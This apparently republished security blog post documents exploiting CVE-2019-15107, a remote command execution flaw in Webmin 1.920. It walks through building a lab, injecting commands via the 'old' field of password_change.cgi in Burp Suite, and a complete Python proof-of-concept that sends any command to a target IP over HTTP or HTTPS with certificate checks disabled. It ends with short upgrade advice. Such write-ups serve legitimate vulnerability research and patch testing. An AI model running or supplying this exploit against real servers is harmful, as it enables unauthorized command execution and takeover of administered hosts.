Webmin<=1.920-Unauthenticated_RCE(CVE-2019-15107) Exploitation Test

Onedaysec
4 min read
0 views
docx image 1770019799399 0 b2dcfb862b

0x00 Preface

---

On August 10, 2019, Ozkan(@ehakkus) disclosed a 0-day at DEFCON AppSec Village. Webmin versions below 1.930 contain a remote code execution vulnerability. The article address is as follows:

https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html

I conducted follow-up research on this vulnerability. This article will document the testing process, develop a Python POC based on the vulnerability principle, and provide defense recommendations.

0x01 Introduction

---

This article will cover the following:

  • Vulnerability Overview
  • Setting Up a Test Environment
  • Reproducing the Vulnerability with Burp Suite
  • Writing a POC in Python

0x02 Vulnerability Overview

---

Webmin is a web-based Unix system management tool, simply put: it allows remote management of Unix system hosts via a browser.

Versions of Webmin below 1.930 have a remote code execution vulnerability. When Webmin's Password expiry policy is set to 'Prompt users with expired passwords to enter a new one' (the default setting is 'Always deny users with expired passwords'), remote code execution can be achieved by constructing a specially formatted POST packet.

0x03 Setting up the test environment and reproducing the vulnerability

---

Test system: Centos7 x64

IP: 192.168.112.181

1. Install perl and dependency libraries

yum -y install perl
yum -y install perl-Net-SSLeay
yum -y install perl-Encode-Detect

2. Download and install the vulnerable Webadmin (1.920)

wget https://sourceforge.net/projects/webadmin/files/webmin/1.920/webmin-1.920-1.noarch.rpm
rpm -U webmin-1.920-1.noarch.rpm

After successful installation, Webadmin enables SSL by default.

3. Configure the firewall to open port 10000, enabling remote access

Add port 10000:

firewall-cmd --zone=public --add-port=10000/tcp --permanent

Restart firewall:

firewall-cmd --reload

Check if the port is open:

firewall-cmd --query-port=10000/tcp

4. Remote login

https://192.168.112.181:10000

Login page as shown below

4. Remote login — technical illustration 1

Log in using CentOS root user password

Note:

For testing convenience, you can first disable SSL function at: Webmin Configuration -> SSL Encryption

As shown below

4. Remote login — technical illustration 2

The new login page is http://192.168.112.181:10000

5. Modify Password expiry policy

Location: Webmin Configuration -> Authentication

Default is Always deny users with expired passwords

Change to Prompt users with expired passwords to enter a new one

As shown in the figure below

5. Modify Password expiry policy — technical illustration 3

6. Add a new user

Location: Webmin Users

After successfully adding the user, modify the Password option and add Force change at next login

As shown in the figure below

6. Add a new user — technical illustration 4

7. Log in with the new user

Prompt to change password

As shown in the figure below

7. Log in with the new user — technical illustration 5

8. Start Burp Suite to capture packets

Enter any old password and new password

Burp Suite packet capture is shown below

8. Start Burp Suite to capture packets — technical illustration 6

Normal return result is shown below

8. Start Burp Suite to capture packets — technical illustration 7

9. Modify POST packet, add Payload

Repeat step 8 and modify the POST packet

Original data:

user=a&pam=&expired=2&old=123&new1=456&new2=456

New data:

user=a&pam=&expired=2&old=123|id&new1=456&new2=456

As shown below

9. Modify POST packet, add Payload — technical illustration 8

The new result is shown in the figure below

9. Modify POST packet, add Payload — technical illustration 9

Executed the command (id) and output the result

0x04 Writing a POC using Python

---

Ozkan (@ehakkus) used Ruby to write a POC in his article; here, we rewrite a POC in Python based on the packet capture from Burp Suite

The following issues need to be considered:

1. Using Python's requests to send a POST packet

The format of the POST packet is shown in the figure below

1. Using Python's requests to send a POST packet — technical illustration 10

The corresponding Python code using requests to send a POST packet is as follows:

import requests
def test_post_http(ip,command):
try:
url = 'http://' + ip + ':10000/password_change.cgi'
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': "gzip, deflate",
'Referer': 'http://' + ip + ':10000/session_login.cgi',
'Cookie': 'redirect=1; testing=1; sid=x',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '47'
}
payload = 'user=a&pam=&expired=2&old=test|' + command + '&new1=test1&new2=test1'
r = requests.post(url, data=payload, headers = headers)
print r.text
except Exception as e:
print '[!]Error:%s'%e

2. Add identification for results

If Webmin does not have 'Prompt users with expired passwords to enter a new one' enabled, the result is:

Error - Perl execution failed


Password changing is not enabled! at /usr/libexec/webmin/password_change.cgi line 12.

If Webmin uses https, the result is:

Error - Document follows


This web server is running in SSL mode. Try the URL https://webmin-node-reddis:10000/ instead.

If Webmin has 'Prompt users with expired passwords to enter a new one' enabled, the result is:



Failed to change password : The current password is incorrect



3. Add support for HTTPS

If the result is 'This web server is running in SSL mode.', then switch to HTTPS and test again

Additionally, certificate verification needs to be disabled

Original code:

r = requests.post(url, data=payload, headers = headers)

New code:

r = requests.post(url, data=payload, headers = headers, verify = False)

To suppress SSL warnings from certificate verification, add the code:

import warnings
warnings.filterwarnings("ignore")

Otherwise, it will display:

C:\Python27\lib\site-packages\urllib3-1.25.3-py2.7.egg\urllib3\connectionpool.py:851: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: ttps://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings InsecureRequestWarning)

The complete test code has been open-sourced, available at:

https://github.com/3gstudent/Homework-of-Python/blob/master/Webmin%3C=1.920-Unauthenticated_RCE(CVE-2019-15107).py

0x05 Defense Recommendations

---

1. Upgrade to 1.930

2. Password expiry policy uses default settings

0x06 Summary

---

This article tests the remote code execution in Webmin<=1.920, records the process, writes a POC in Python based on the vulnerability principle, and provides defense recommendations

Related Questions & Answers

What considerations are needed when writing a Python POC for the Webmin RCE vulnerability, especially regarding HTTPS?

The Python POC must handle both HTTP and HTTPS targets. When the server responds with 'This web server is running in SSL mode', the script switches to HTTPS and disables certificate verification using `verify=False`. Additionally, to suppress SSL warnings, `warnings.filterwarnings('ignore')` should be added. For tips on disabling URL encoding in the Requests library, see [Python Development Tips - Disabling URL Encoding in the Requests Library](/news/python-development-tips-disabling-url-encoding-in-the-requests-library).

How can an attacker exploit the Webmin RCE vulnerability using Burp Suite?

After setting the password expiry policy to prompt for new passwords and creating a user with 'Force change at next login', the attacker logs in and captures the password change POST request in Burp Suite. The attacker then modifies the 'old' parameter (e.g., old=123|id) to inject commands, which are executed by the server. The response includes the command output, confirming RCE. This process is demonstrated in the [Webmin<=1.920-Unauthenticated_RCE(CVE-2019-15107) Exploitation Test](/news/webmin-1-920-unauthenticated-rce-cve-2019-15107-exploitation-test) article.

What is the CVE-2019-15107 vulnerability in Webmin, and what condition must be present for it to be exploitable?

CVE-2019-15107 is an unauthenticated remote code execution vulnerability in Webmin versions below 1.930. It requires the Webmin Password expiry policy to be set to 'Prompt users with expired passwords to enter a new one' (instead of the default 'Always deny'). As detailed in our [Webmin<=1.920-Unauthenticated_RCE(CVE-2019-15107) Exploitation Test](/news/webmin-1-920-unauthenticated-rce-cve-2019-15107-exploitation-test), this allows an attacker to inject commands via a crafted POST request to password_change.cgi.

Continue Reading